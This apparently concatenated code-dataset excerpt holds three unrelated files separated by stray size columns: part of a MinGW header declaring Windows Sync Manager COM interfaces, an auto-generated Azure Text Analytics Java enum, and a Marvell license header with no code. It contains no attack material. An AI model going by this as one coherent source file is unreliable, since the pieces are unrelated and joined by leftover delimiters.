#define ISyncMgrSynchronize_Synchronize(This,hWndParent) (This)->lpVtbl->Synchronize(This,hWndParent)
#define ISyncMgrSynchronize_SetItemStatus(This,pItemID,dwSyncMgrStatus) (This)->lpVtbl->SetItemStatus(This,pItemID,dwSyncMgrStatus)
#define ISyncMgrSynchronize_ShowError(This,hWndParent,ErrorID) (This)->lpVtbl->ShowError(This,hWndParent,ErrorID)
#endif
#endif
HRESULT WINAPI ISyncMgrSynchronize_Initialize_Proxy(ISyncMgrSynchronize *This,DWORD dwReserved,DWORD dwSyncMgrFlags,DWORD cbCookie,const BYTE *lpCookie);
void __RPC_STUB ISyncMgrSynchronize_Initialize_Stub(IRpcStubBuffer *This,IRpcChannelBuffer *_pRpcChannelBuffer,PRPC_MESSAGE _pRpcMessage,DWORD *_pdwStubPhase);
HRESULT WINAPI ISyncMgrSynchronize_GetHandlerInfo_Proxy(ISyncMgrSynchronize *This,LPSYNCMGRHANDLERINFO *ppSyncMgrHandlerInfo);
void __RPC_STUB ISyncMgrSynchronize_GetHandlerInfo_Stub(IRpcStubBuffer *This,IRpcChannelBuffer *_pRpcChannelBuffer,PRPC_MESSAGE _pRpcMessage,DWORD *_pdwStubPhase);
HRESULT WINAPI ISyncMgrSynchronize_EnumSyncMgrItems_Proxy(ISyncMgrSynchronize *This,ISyncMgrEnumItems **ppSyncMgrEnumItems);
void __RPC_STUB ISyncMgrSynchronize_EnumSyncMgrItems_Stub(IRpcStubBuffer *This,IRpcChannelBuffer *_pRpcChannelBuffer,PRPC_MESSAGE _pRpcMessage,DWORD *_pdwStubPhase);
HRESULT WINAPI ISyncMgrSynchronize_GetItemObject_Proxy(ISyncMgrSynchronize *This,REFSYNCMGRITEMID ItemID,REFIID riid,void **ppv);
void __RPC_STUB ISyncMgrSynchronize_GetItemObject_Stub(IRpcStubBuffer *This,IRpcChannelBuffer *_pRpcChannelBuffer,PRPC_MESSAGE _pRpcMessage,DWORD *_pdwStubPhase);
HRESULT WINAPI ISyncMgrSynchronize_ShowProperties_Proxy(ISyncMgrSynchronize *This,HWND hWndParent,REFSYNCMGRITEMID ItemID);
void __RPC_STUB ISyncMgrSynchronize_ShowProperties_Stub(IRpcStubBuffer *This,IRpcChannelBuffer *_pRpcChannelBuffer,PRPC_MESSAGE _pRpcMessage,DWORD *_pdwStubPhase);
HRESULT WINAPI ISyncMgrSynchronize_SetProgressCallback_Proxy(ISyncMgrSynchronize *This,ISyncMgrSynchronizeCallback *lpCallBack);
void __RPC_STUB ISyncMgrSynchronize_SetProgressCallback_Stub(IRpcStubBuffer *This,IRpcChannelBuffer *_pRpcChannelBuffer,PRPC_MESSAGE _pRpcMessage,DWORD *_pdwStubPhase);
HRESULT WINAPI ISyncMgrSynchronize_PrepareForSync_Proxy(ISyncMgrSynchronize *This,ULONG cbNumItems,SYNCMGRITEMID *pItemIDs,HWND hWndParent,DWORD dwReserved);
void __RPC_STUB ISyncMgrSynchronize_PrepareForSync_Stub(IRpcStubBuffer *This,IRpcChannelBuffer *_pRpcChannelBuffer,PRPC_MESSAGE _pRpcMessage,DWORD *_pdwStubPhase);
HRESULT WINAPI ISyncMgrSynchronize_Synchronize_Proxy(ISyncMgrSynchronize *This,HWND hWndParent);
void __RPC_STUB ISyncMgrSynchronize_Synchronize_Stub(IRpcStubBuffer *This,IRpcChannelBuffer *_pRpcChannelBuffer,PRPC_MESSAGE _pRpcMessage,DWORD *_pdwStubPhase);
HRESULT WINAPI ISyncMgrSynchronize_SetItemStatus_Proxy(ISyncMgrSynchronize *This,REFSYNCMGRITEMID pItemID,DWORD dwSyncMgrStatus);
void __RPC_STUB ISyncMgrSynchronize_SetItemStatus_Stub(IRpcStubBuffer *This,IRpcChannelBuffer *_pRpcChannelBuffer,PRPC_MESSAGE _pRpcMessage,DWORD *_pdwStubPhase);
HRESULT WINAPI ISyncMgrSynchronize_ShowError_Proxy(ISyncMgrSynchronize *This,HWND hWndParent,REFSYNCMGRERRORID ErrorID);
void __RPC_STUB ISyncMgrSynchronize_ShowError_Stub(IRpcStubBuffer *This,IRpcChannelBuffer *_pRpcChannelBuffer,PRPC_MESSAGE _pRpcMessage,DWORD *_pdwStubPhase);
#endif
#ifndef __ISyncMgrSynchronizeCallback_INTERFACE_DEFINED__
#define __ISyncMgrSynchronizeCallback_INTERFACE_DEFINED__
typedef ISyncMgrSynchronizeCallback *LPSYNCMGRSYNCHRONIZECALLBACK;
#define SYNCMGRPROGRESSITEM_STATUSTEXT 0x0001
#define SYNCMGRPROGRESSITEM_STATUSTYPE 0x0002
#define SYNCMGRPROGRESSITEM_PROGVALUE 0x0004
#define SYNCMGRPROGRESSITEM_MAXVALUE 0x0008
typedef struct _tagSYNCMGRPROGRESSITEM {
DWORD cbSize;
UINT mask;
LPCWSTR lpcStatusText;
DWORD dwStatusType;
INT iProgValue;
INT iMaxValue;
} SYNCMGRPROGRESSITEM;
typedef struct _tagSYNCMGRPROGRESSITEM *LPSYNCMGRPROGRESSITEM;
typedef enum _tagSYNCMGRLOGLEVEL {
SYNCMGRLOGLEVEL_INFORMATION = 0x1,SYNCMGRLOGLEVEL_WARNING = 0x2,SYNCMGRLOGLEVEL_ERROR = 0x3
} SYNCMGRLOGLEVEL;
#define SYNCMGRLOGERROR_ERRORFLAGS 0x0001
#define SYNCMGRLOGERROR_ERRORID 0x0002
#define SYNCMGRLOGERROR_ITEMID 0x0004
typedef enum _tagSYNCMGRERRORFLAGS {
SYNCMGRERRORFLAG_ENABLEJUMPTEXT = 0x1
} SYNCMGRERRORFLAGS;
typedef struct _tagSYNCMGRLOGERRORINFO {
DWORD cbSize;
DWORD mask;
DWORD dwSyncMgrErrorFlags;
SYNCMGRERRORID ErrorID;
SYNCMGRITEMID ItemID;
} SYNCMGRLOGERRORINFO;
typedef struct _tagSYNCMGRLOGERRORINFO *LPSYNCMGRLOGERRORINFO;
EXTERN_C const IID IID_ISyncMgrSynchronizeCallback;
#if defined(__cplusplus) && !defined(CINTERFACE)
struct ISyncMgrSynchronizeCallback : public IUnknown {
public:
virtual HRESULT WINAPI ShowPropertiesCompleted(HRESULT hr) = 0;
virtual HRESULT WINAPI PrepareForSyncCompleted(HRESULT hr) = 0;
virtual HRESULT WINAPI SynchronizeCompleted(HRESULT hr) = 0;
virtual HRESULT WINAPI ShowErrorCompleted(HRESULT hr,ULONG cbNumItems,SYNCMGRITEMID *pItemIDs) = 0;
virtual HRESULT WINAPI EnableModeless(WINBOOL fEnable) = 0;
virtual HRESULT WINAPI Progress(REFSYNCMGRITEMID pItemID,LPSYNCMGRPROGRESSITEM lpSyncProgressItem) = 0;
virtual HRESULT WINAPI LogError(DWORD dwErrorLevel,LPCWSTR lpcErrorText,LPSYNCMGRLOGERRORINFO lpSyncLogError) = 0;
virtual HRESULT WINAPI DeleteLogError(REFSYNCMGRERRORID ErrorID,DWORD dwReserved) = 0;
virtual HRESULT WINAPI EstablishConnection(LPCWSTR lpwszConnection,DWORD dwReserved) = 0;
};
#else
typedef struct ISyncMgrSynchronizeCallbackVtbl {
BEGIN_INTERFACE
HRESULT (WINAPI *QueryInterface)(ISyncMgrSynchronizeCallback *This,REFIID riid,void **ppvObject);
ULONG (WINAPI *AddRef)(ISyncMgrSynchronizeCallback *This);
ULONG (WINAPI *Release)(ISyncMgrSynchronizeCallback *This);
HRESULT (WINAPI *ShowPropertiesCompleted)(ISyncMgrSynchronizeCallback *This,HRESULT hr);
HRESULT (WINAPI *PrepareForSyncCompleted)(ISyncMgrSynchronizeCallback *This,HRESULT hr);
HRESULT (WINAPI *SynchronizeCompleted)(ISyncMgrSynchronizeCallback *This,HRESULT hr);
HRESULT (WINAPI *ShowErrorCompleted)(ISyncMgrSynchronizeCallback *This,HRESULT hr,ULONG cbNumItems,SYNCMGRITEMID *pItemIDs);
HRESULT (WINAPI *EnableModeless)(ISyncMgrSynchronizeCallback *This,WINBOOL fEnable);
HRESULT (WINAPI *Progress)(ISyncMgrSynchronizeCallback *This,REFSYNCMGRITEMID pItemID,LPSYNCMGRPROGRESSITEM lpSyncProgressItem);
HRESULT (WINAPI *LogError)(ISyncMgrSynchronizeCallback *This,DWORD dwErrorLevel,LPCWSTR lpcErrorText,LPSYNCMGRLOGERRORINFO lpSyncLogError);
HRESULT (WINAPI *DeleteLogError)(ISyncMgrSynchronizeCallback *This,REFSYNCMGRERRORID ErrorID,DWORD dwReserved);
HRESULT (WINAPI *EstablishConnection)(ISyncMgrSynchronizeCallback *This,LPCWSTR lpwszConnection,DWORD dwReserved);
END_INTERFACE
} ISyncMgrSynchronizeCallbackVtbl;
struct ISyncMgrSynchronizeCallback {
CONST_VTBL struct ISyncMgrSynchronizeCallbackVtbl *lpVtbl;
};
#ifdef COBJMACROS
#define ISyncMgrSynchronizeCallback_QueryInterface(This,riid,ppvObject) (This)->lpVtbl->QueryInterface(This,riid,ppvObject)
#define ISyncMgrSynchronizeCallback_AddRef(This) (This)->lpVtbl->AddRef(This)
#define ISyncMgrSynchronizeCallback_Release(This) (This)->lpVtbl->Release(This)
#define ISyncMgrSynchronizeCallback_ShowPropertiesCompleted(This,hr) (This)->lpVtbl->ShowPropertiesCompleted(This,hr)
#define ISyncMgrSynchronizeCallback_PrepareForSyncCompleted(This,hr) (This)->lpVtbl->PrepareForSyncCompleted(This,hr)
#define ISyncMgrSynchronizeCallback_SynchronizeCompleted(This,hr) (This)->lpVtbl->SynchronizeCompleted(This,hr)
#define ISyncMgrSynchronizeCallback_ShowErrorCompleted(This,hr,cbNumItems,pItemIDs) (This)->lpVtbl->ShowErrorCompleted(This,hr,cbNumItems,pItemIDs)
#define ISyncMgrSynchronizeCallback_EnableModeless(This,fEnable) (This)->lpVtbl->EnableModeless(This,fEnable)
#define ISyncMgrSynchronizeCallback_Progress(This,pItemID,lpSyncProgressItem) (This)->lpVtbl->Progress(This,pItemID,lpSyncProgressItem)
#define ISyncMgrSynchronizeCallback_LogError(This,dwErrorLevel,lpcErrorText,lpSyncLogError) (This)->lpVtbl->LogError(This,dwErrorLevel,lpcErrorText,lpSyncLogError)
#define ISyncMgrSynchronizeCallback_DeleteLogError(This,ErrorID,dwReserved) (This)->lpVtbl->DeleteLogError(This,ErrorID,dwReserved)
#define ISyncMgrSynchronizeCallback_EstablishConnection(This,lpwszConnection,dwReserved) (This)->lpVtbl->EstablishConnection(This,lpwszConnection,dwReserved)
#endif
#endif
HRESULT WINAPI ISyncMgrSynchronizeCallback_ShowPropertiesCompleted_Proxy(ISyncMgrSynchronizeCallback *This,HRESULT hr);
void __RPC_STUB ISyncMgrSynchronizeCallback_ShowPropertiesCompleted_Stub(IRpcStubBuffer *This,IRpcChannelBuffer *_pRpcChannelBuffer,PRPC_MESSAGE _pRpcMessage,DWORD *_pdwStubPhase);
HRESULT WINAPI ISyncMgrSynchronizeCallback_PrepareForSyncCompleted_Proxy(ISyncMgrSynchronizeCallback *This,HRESULT hr);
void __RPC_STUB ISyncMgrSynchronizeCallback_PrepareForSyncCompleted_Stub(IRpcStubBuffer *This,IRpcChannelBuffer *_pRpcChannelBuffer,PRPC_MESSAGE _pRpcMessage,DWORD *_pdwStubPhase);
HRESULT WINAPI ISyncMgrSynchronizeCallback_SynchronizeCompleted_Proxy(ISyncMgrSynchronizeCallback *This,HRESULT hr);
void __RPC_STUB ISyncMgrSynchronizeCallback_SynchronizeCompleted_Stub(IRpcStubBuffer *This,IRpcChannelBuffer *_pRpcChannelBuffer,PRPC_MESSAGE _pRpcMessage,DWORD *_pdwStubPhase);
HRESULT WINAPI ISyncMgrSynchronizeCallback_ShowErrorCompleted_Proxy(ISyncMgrSynchronizeCallback *This,HRESULT hr,ULONG cbNumItems,SYNCMGRITEMID *pItemIDs);
void __RPC_STUB ISyncMgrSynchronizeCallback_ShowErrorCompleted_Stub(IRpcStubBuffer *This,IRpcChannelBuffer *_pRpcChannelBuffer,PRPC_MESSAGE _pRpcMessage,DWORD *_pdwStubPhase);
HRESULT WINAPI ISyncMgrSynchronizeCallback_EnableModeless_Proxy(ISyncMgrSynchronizeCallback *This,WINBOOL fEnable);
void __RPC_STUB ISyncMgrSynchronizeCallback_EnableModeless_Stub(IRpcStubBuffer *This,IRpcChannelBuffer *_pRpcChannelBuffer,PRPC_MESSAGE _pRpcMessage,DWORD *_pdwStubPhase);
HRESULT WINAPI ISyncMgrSynchronizeCallback_Progress_Proxy(ISyncMgrSynchronizeCallback *This,REFSYNCMGRITEMID pItemID,LPSYNCMGRPROGRESSITEM lpSyncProgressItem);
void __RPC_STUB ISyncMgrSynchronizeCallback_Progress_Stub(IRpcStubBuffer *This,IRpcChannelBuffer *_pRpcChannelBuffer,PRPC_MESSAGE _pRpcMessage,DWORD *_pdwStubPhase);
HRESULT WINAPI ISyncMgrSynchronizeCallback_LogError_Proxy(ISyncMgrSynchronizeCallback *This,DWORD dwErrorLevel,LPCWSTR lpcErrorText,LPSYNCMGRLOGERRORINFO lpSyncLogError);
void __RPC_STUB ISyncMgrSynchronizeCallback_LogError_Stub(IRpcStubBuffer *This,IRpcChannelBuffer *_pRpcChannelBuffer,PRPC_MESSAGE _pRpcMessage,DWORD *_pdwStubPhase);
HRESULT WINAPI ISyncMgrSynchronizeCallback_DeleteLogError_Proxy(ISyncMgrSynchronizeCallback *This,REFSYNCMGRERRORID ErrorID,DWORD dwReserved);
void __RPC_STUB ISyncMgrSynchronizeCallback_DeleteLogError_Stub(IRpcStubBuffer *This,IRpcChannelBuffer *_pRpcChannelBuffer,PRPC_MESSAGE _pRpcMessage,DWORD *_pdwStubPhase);
HRESULT WINAPI ISyncMgrSynchronizeCallback_EstablishConnection_Proxy(ISyncMgrSynchronizeCallback *This,LPCWSTR lpwszConnection,DWORD dwReserved);
void __RPC_STUB ISyncMgrSynchronizeCallback_EstablishConnection_Stub(IRpcStubBuffer *This,IRpcChannelBuffer *_pRpcChannelBuffer,PRPC_MESSAGE _pRpcMessage,DWORD *_pdwStubPhase);
#endif
#ifndef __ISyncMgrEnumItems_INTERFACE_DEFINED__
#define __ISyncMgrEnumItems_INTERFACE_DEFINED__
typedef ISyncMgrEnumItems *LPSYNCMGRENUMITEMS;
#define SYNCMGRITEM_ITEMFLAGMASK 0x1F
#define MAX_SYNCMGRITEMNAME (128)
typedef enum _tagSYNCMGRITEMFLAGS {
SYNCMGRITEM_HASPROPERTIES = 0x1,SYNCMGRITEM_TEMPORARY = 0x2,SYNCMGRITEM_ROAMINGUSER = 0x4,SYNCMGRITEM_LASTUPDATETIME = 0x8,
SYNCMGRITEM_MAYDELETEITEM = 0x10
} SYNCMGRITEMFLAGS;
typedef struct _tagSYNCMGRITEM {
DWORD cbSize;
DWORD dwFlags;
SYNCMGRITEMID ItemID;
DWORD dwItemState;
HICON hIcon;
WCHAR wszItemName[128 ];
FILETIME ftLastUpdate;
} SYNCMGRITEM;
typedef struct _tagSYNCMGRITEM *LPSYNCMGRITEM;
EXTERN_C const IID IID_ISyncMgrEnumItems;
#if defined(__cplusplus) && !defined(CINTERFACE)
struct ISyncMgrEnumItems : public IUnknown {
public:
virtual HRESULT WINAPI Next(ULONG celt,LPSYNCMGRITEM rgelt,ULONG *pceltFetched) = 0;
virtual HRESULT WINAPI Skip(ULONG celt) = 0;
virtual HRESULT WINAPI Reset(void) = 0;
virtual HRESULT WINAPI Clone(ISyncMgrEnumItems **ppenum) = 0;
};
#else
typedef struct ISyncMgrEnumItemsVtbl {
BEGIN_INTERFACE
HRESULT (WINAPI *QueryInterface)(ISyncMgrEnumItems *This,REFIID riid,void **ppvObject);
ULONG (WINAPI *AddRef)(ISyncMgrEnumItems *This);
ULONG (WINAPI *Release)(ISyncMgrEnumItems *This);
HRESULT (WINAPI *Next)(ISyncMgrEnumItems *This,ULONG celt,LPSYNCMGRITEM rgelt,ULONG *pceltFetched);
HRESULT (WINAPI *Skip)(ISyncMgrEnumItems *This,ULONG celt);
HRESULT (WINAPI *Reset)(ISyncMgrEnumItems *This);
HRESULT (WINAPI *Clone)(ISyncMgrEnumItems *This,ISyncMgrEnumItems **ppenum);
END_INTERFACE
} ISyncMgrEnumItemsVtbl;
struct ISyncMgrEnumItems {
CONST_VTBL struct ISyncMgrEnumItemsVtbl *lpVtbl;
};
#ifdef COBJMACROS
#define ISyncMgrEnumItems_QueryInterface(This,riid,ppvObject) (This)->lpVtbl->QueryInterface(This,riid,ppvObject)
#define ISyncMgrEnumItems_AddRef(This) (This)->lpVtbl->AddRef(This)
#define ISyncMgrEnumItems_Release(This) (This)->lpVtbl->Release(This)
#define ISyncMgrEnumItems_Next(This,celt,rgelt,pceltFetched) (This)->lpVtbl->Next(This,celt,rgelt,pceltFetched)
#define ISyncMgrEnumItems_Skip(This,celt) (This)->lpVtbl->Skip(This,celt)
#define ISyncMgrEnumItems_Reset(This) (This)->lpVtbl->Reset(This)
#define ISyncMgrEnumItems_Clone(This,ppenum) (This)->lpVtbl->Clone(This,ppenum)
#endif
#endif
HRESULT WINAPI ISyncMgrEnumItems_Next_Proxy(ISyncMgrEnumItems *This,ULONG celt,LPSYNCMGRITEM rgelt,ULONG *pceltFetched);
void __RPC_STUB ISyncMgrEnumItems_Next_Stub(IRpcStubBuffer *This,IRpcChannelBuffer *_pRpcChannelBuffer,PRPC_MESSAGE _pRpcMessage,DWORD *_pdwStubPhase);
HRESULT WINAPI ISyncMgrEnumItems_Skip_Proxy(ISyncMgrEnumItems *This,ULONG celt);
void __RPC_STUB ISyncMgrEnumItems_Skip_Stub(IRpcStubBuffer *This,IRpcChannelBuffer *_pRpcChannelBuffer,PRPC_MESSAGE _pRpcMessage,DWORD *_pdwStubPhase);
HRESULT WINAPI ISyncMgrEnumItems_Reset_Proxy(ISyncMgrEnumItems *This);
void __RPC_STUB ISyncMgrEnumItems_Reset_Stub(IRpcStubBuffer *This,IRpcChannelBuffer *_pRpcChannelBuffer,PRPC_MESSAGE _pRpcMessage,DWORD *_pdwStubPhase);
HRESULT WINAPI ISyncMgrEnumItems_Clone_Proxy(ISyncMgrEnumItems *This,ISyncMgrEnumItems **ppenum);
void __RPC_STUB ISyncMgrEnumItems_Clone_Stub(IRpcStubBuffer *This,IRpcChannelBuffer *_pRpcChannelBuffer,PRPC_MESSAGE _pRpcMessage,DWORD *_pdwStubPhase);
#endif
#ifndef __ISyncMgrSynchronizeInvoke_INTERFACE_DEFINED__
#define __ISyncMgrSynchronizeInvoke_INTERFACE_DEFINED__
typedef ISyncMgrSynchronizeInvoke *LPSYNCMGRSYNCHRONIZEINVOKE;
typedef enum _tagSYNCMGRINVOKEFLAGS {
SYNCMGRINVOKE_STARTSYNC = 0x2,SYNCMGRINVOKE_MINIMIZED = 0x4
} SYNCMGRINVOKEFLAGS;
EXTERN_C const IID IID_ISyncMgrSynchronizeInvoke;
#if defined(__cplusplus) && !defined(CINTERFACE)
struct ISyncMgrSynchronizeInvoke : public IUnknown {
public:
virtual HRESULT WINAPI UpdateItems(DWORD dwInvokeFlags,REFCLSID rclsid,DWORD cbCookie,const BYTE *lpCookie) = 0;
virtual HRESULT WINAPI UpdateAll(void) = 0;
};
#else
typedef struct ISyncMgrSynchronizeInvokeVtbl {
BEGIN_INTERFACE
HRESULT (WINAPI *QueryInterface)(ISyncMgrSynchronizeInvoke *This,REFIID riid,void **ppvObject);
ULONG (WINAPI *AddRef)(ISyncMgrSynchronizeInvoke *This);
ULONG (WINAPI *Release)(ISyncMgrSynchronizeInvoke *This);
HRESULT (WINAPI *UpdateItems)(ISyncMgrSynchronizeInvoke *This,DWORD dwInvokeFlags,REFCLSID rclsid,DWORD cbCookie,const BYTE *lpCookie);
HRESULT (WINAPI *UpdateAll)(ISyncMgrSynchronizeInvoke *This);
END_INTERFACE
} ISyncMgrSynchronizeInvokeVtbl;
struct ISyncMgrSynchronizeInvoke {
CONST_VTBL struct ISyncMgrSynchronizeInvokeVtbl *lpVtbl;
};
#ifdef COBJMACROS
#define ISyncMgrSynchronizeInvoke_QueryInterface(This,riid,ppvObject) (This)->lpVtbl->QueryInterface(This,riid,ppvObject)
#define ISyncMgrSynchronizeInvoke_AddRef(This) (This)->lpVtbl->AddRef(This)
#define ISyncMgrSynchronizeInvoke_Release(This) (This)->lpVtbl->Release(This)
#define ISyncMgrSynchronizeInvoke_UpdateItems(This,dwInvokeFlags,rclsid,cbCookie,lpCookie) (This)->lpVtbl->UpdateItems(This,dwInvokeFlags,rclsid,cbCookie,lpCookie)
#define ISyncMgrSynchronizeInvoke_UpdateAll(This) (This)->lpVtbl->UpdateAll(This)
#endif
#endif
HRESULT WINAPI ISyncMgrSynchronizeInvoke_UpdateItems_Proxy(ISyncMgrSynchronizeInvoke *This,DWORD dwInvokeFlags,REFCLSID rclsid,DWORD cbCookie,const BYTE *lpCookie);
void __RPC_STUB ISyncMgrSynchronizeInvoke_UpdateItems_Stub(IRpcStubBuffer *This,IRpcChannelBuffer *_pRpcChannelBuffer,PRPC_MESSAGE _pRpcMessage,DWORD *_pdwStubPhase);
HRESULT WINAPI ISyncMgrSynchronizeInvoke_UpdateAll_Proxy(ISyncMgrSynchronizeInvoke *This);
void __RPC_STUB ISyncMgrSynchronizeInvoke_UpdateAll_Stub(IRpcStubBuffer *This,IRpcChannelBuffer *_pRpcChannelBuffer,PRPC_MESSAGE _pRpcMessage,DWORD *_pdwStubPhase);
#endif
#ifndef __ISyncMgrRegister_INTERFACE_DEFINED__
#define __ISyncMgrRegister_INTERFACE_DEFINED__
typedef ISyncMgrRegister *LPSYNCMGRREGISTER;
#define SYNCMGRREGISTERFLAGS_MASK 0x07
typedef enum _tagSYNCMGRREGISTERFLAGS {
SYNCMGRREGISTERFLAG_CONNECT = 0x1,SYNCMGRREGISTERFLAG_PENDINGDISCONNECT = 0x2,SYNCMGRREGISTERFLAG_IDLE = 0x4
} SYNCMGRREGISTERFLAGS;
EXTERN_C const IID IID_ISyncMgrRegister;
#if defined(__cplusplus) && !defined(CINTERFACE)
struct ISyncMgrRegister : public IUnknown {
public:
virtual HRESULT WINAPI RegisterSyncMgrHandler(REFCLSID rclsidHandler,LPCWSTR pwszDescription,DWORD dwSyncMgrRegisterFlags) = 0;
virtual HRESULT WINAPI UnregisterSyncMgrHandler(REFCLSID rclsidHandler,DWORD dwReserved) = 0;
virtual HRESULT WINAPI GetHandlerRegistrationInfo(REFCLSID rclsidHandler,LPDWORD pdwSyncMgrRegisterFlags) = 0;
};
#else
typedef struct ISyncMgrRegisterVtbl {
BEGIN_INTERFACE
HRESULT (WINAPI *QueryInterface)(ISyncMgrRegister *This,REFIID riid,void **ppvObject);
ULONG (WINAPI *AddRef)(ISyncMgrRegister *This);
ULONG (WINAPI *Release)(ISyncMgrRegister *This);
HRESULT (WINAPI *RegisterSyncMgrHandler)(ISyncMgrRegister *This,REFCLSID rclsidHandler,LPCWSTR pwszDescription,DWORD dwSyncMgrRegisterFlags);
HRESULT (WINAPI *UnregisterSyncMgrHandler)(ISyncMgrRegister *This,REFCLSID rclsidHandler,DWORD dwReserved);
HRESULT (WINAPI *GetHandlerRegistrationInfo)(ISyncMgrRegister *This,REFCLSID rclsidHandler,LPDWORD pdwSyncMgrRegisterFlags);
END_INTERFACE
} ISyncMgrRegisterVtbl;
struct ISyncMgrRegister {
CONST_VTBL struct ISyncMgrRegisterVtbl *lpVtbl;
};
#ifdef COBJMACROS
#define ISyncMgrRegister_QueryInterface(This,riid,ppvObject) (This)->lpVtbl->QueryInterface(This,riid,ppvObject)
#define ISyncMgrRegister_AddRef(This) (This)->lpVtbl->AddRef(This)
#define ISyncMgrRegister_Release(This) (This)->lpVtbl->Release(This)
#define ISyncMgrRegister_RegisterSyncMgrHandler(This,rclsidHandler,pwszDescription,dwSyncMgrRegisterFlags) (This)->lpVtbl->RegisterSyncMgrHandler(This,rclsidHandler,pwszDescription,dwSyncMgrRegisterFlags)
#define ISyncMgrRegister_UnregisterSyncMgrHandler(This,rclsidHandler,dwReserved) (This)->lpVtbl->UnregisterSyncMgrHandler(This,rclsidHandler,dwReserved)
#define ISyncMgrRegister_GetHandlerRegistrationInfo(This,rclsidHandler,pdwSyncMgrRegisterFlags) (This)->lpVtbl->GetHandlerRegistrationInfo(This,rclsidHandler,pdwSyncMgrRegisterFlags)
#endif
#endif
HRESULT WINAPI ISyncMgrRegister_RegisterSyncMgrHandler_Proxy(ISyncMgrRegister *This,REFCLSID rclsidHandler,LPCWSTR pwszDescription,DWORD dwSyncMgrRegisterFlags);
void __RPC_STUB ISyncMgrRegister_RegisterSyncMgrHandler_Stub(IRpcStubBuffer *This,IRpcChannelBuffer *_pRpcChannelBuffer,PRPC_MESSAGE _pRpcMessage,DWORD *_pdwStubPhase);
HRESULT WINAPI ISyncMgrRegister_UnregisterSyncMgrHandler_Proxy(ISyncMgrRegister *This,REFCLSID rclsidHandler,DWORD dwReserved);
void __RPC_STUB ISyncMgrRegister_UnregisterSyncMgrHandler_Stub(IRpcStubBuffer *This,IRpcChannelBuffer *_pRpcChannelBuffer,PRPC_MESSAGE _pRpcMessage,DWORD *_pdwStubPhase);
HRESULT WINAPI ISyncMgrRegister_GetHandlerRegistrationInfo_Proxy(ISyncMgrRegister *This,REFCLSID rclsidHandler,LPDWORD pdwSyncMgrRegisterFlags);
void __RPC_STUB ISyncMgrRegister_GetHandlerRegistrationInfo_Stub(IRpcStubBuffer *This,IRpcChannelBuffer *_pRpcChannelBuffer,PRPC_MESSAGE _pRpcMessage,DWORD *_pdwStubPhase);
#endif
#define RFCF_APPLY_ALL 0x0001
#define RFCD_NAME 0x0001
#define RFCD_KEEPBOTHICON 0x0002
#define RFCD_KEEPLOCALICON 0x0004
#define RFCD_KEEPSERVERICON 0x0008
#define RFCD_NETWORKMODIFIEDBY 0x0010
#define RFCD_NETWORKMODIFIEDON 0x0020
#define RFCD_LOCALMODIFIEDBY 0x0040
#define RFCD_LOCALMODIFIEDON 0x0080
#define RFCD_NEWNAME 0x0100
#define RFCD_LOCATION 0x0200
#define RFCD_ALL 0x03FF
#define RFCCM_VIEWLOCAL 0x0001
#define RFCCM_VIEWNETWORK 0x0002
#define RFCCM_NEEDELEMENT 0x0003
#define RFC_CANCEL 0x00
#define RFC_KEEPBOTH 0x01
#define RFC_KEEPLOCAL 0x02
#define RFC_KEEPNETWORK 0x03
#define RFC_APPLY_TO_ALL 0x10
typedef WINBOOL (WINAPI *PFNRFCDCALLBACK)(HWND hWnd,UINT uMsg,WPARAM wParam,LPARAM lParam);
typedef struct tagRFCDLGPARAMW {
DWORD dwFlags;
LPCWSTR pszFilename;
LPCWSTR pszLocation;
LPCWSTR pszNewName;
LPCWSTR pszNetworkModifiedBy;
LPCWSTR pszLocalModifiedBy;
LPCWSTR pszNetworkModifiedOn;
LPCWSTR pszLocalModifiedOn;
HICON hIKeepBoth;
HICON hIKeepLocal;
HICON hIKeepNetwork;
PFNRFCDCALLBACK pfnCallBack;
LPARAM lCallerData;
} RFCDLGPARAMW;
typedef struct tagRFCDLGPARAMA {
DWORD dwFlags;
LPCSTR pszFilename;
LPCSTR pszLocation;
LPCSTR pszNewName;
LPCSTR pszNetworkModifiedBy;
LPCSTR pszLocalModifiedBy;
LPCSTR pszNetworkModifiedOn;
LPCSTR pszLocalModifiedOn;
HICON hIKeepBoth;
HICON hIKeepLocal;
HICON hIKeepNetwork;
PFNRFCDCALLBACK pfnCallBack;
LPARAM lCallerData;
} RFCDLGPARAMA;
int WINAPI SyncMgrResolveConflictW(HWND hWndParent,RFCDLGPARAMW *pdlgParam);
int WINAPI SyncMgrResolveConflictA(HWND hWndParent,RFCDLGPARAMA *pdlgParam);
#define SyncMgrResolveConflict __MINGW_NAME_AW(SyncMgrResolveConflict)
#define RFCDLGPARAM __MINGW_NAME_AW(RFCDLGPARAM)
extern RPC_IF_HANDLE __MIDL_itf_mobsync_0122_v0_0_c_ifspec;
extern RPC_IF_HANDLE __MIDL_itf_mobsync_0122_v0_0_s_ifspec;
#ifdef __cplusplus
}
#endif
#endif
| 12,888 |
1,350 | // Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License.
// Code generated by Microsoft (R) AutoRest Code Generator.
package com.azure.ai.textanalytics.models;
import com.azure.core.annotation.Immutable;
import com.azure.core.util.ExpandableStringEnum;
import com.fasterxml.jackson.annotation.JsonCreator;
/**
* Defines values for {@link WarningCode}.
*/
@Immutable
public final class WarningCode extends ExpandableStringEnum<WarningCode> {
/**
* Static value LongWordsInDocument for {@link WarningCode}.
*/
public static final WarningCode LONG_WORDS_IN_DOCUMENT = fromString("LongWordsInDocument");
/**
* Static value DocumentTruncated for {@link WarningCode}.
*/
public static final WarningCode DOCUMENT_TRUNCATED = fromString("DocumentTruncated");
/**
* Creates or finds a {@link WarningCode} from its string representation.
*
* @param name A name to look for.
* @return The corresponding {@link WarningCode}.
*/
@JsonCreator
public static WarningCode fromString(String name) {
return fromString(name, WarningCode.class);
}
}
| 376 |
2,637 | /*
* (C) Copyright 2008-2019 Marvell International Ltd. All Rights Reserved
*
* MARVELL CONFIDENTIAL
* The source code contained or described herein and all documents related to
* the source code ("Material") are owned by Marvell International Ltd or its
* suppliers or licensors. Title to the Material remains with Marvell
* International Ltd or its suppliers and licensors. The Material contains
* trade secrets and proprietary and confidential information of Marvell or its
* suppliers and licensors. The Material is protected by worldwide copyright
* and trade secret laws and treaty provisions. No part of the Material may be
* used, copied, reproduced, modified, published, uploaded, posted,
* transmitted, distributed, or disclosed in any way without Marvell's prior
* express written permission.
*
* No license under any patent, copyright, trade secret or other intellectual
* property right is granted to or conferred upon you by disclosure or delivery
* of the Materials, either expressly, by implication, inducement, estoppel or
* otherwise. Any license under such intellectual property rights must be
* express and approved by Marvell in writing.
*
*/
/** @file psm-utils.h
*
* @brief PSM Utililty APIs.
*/
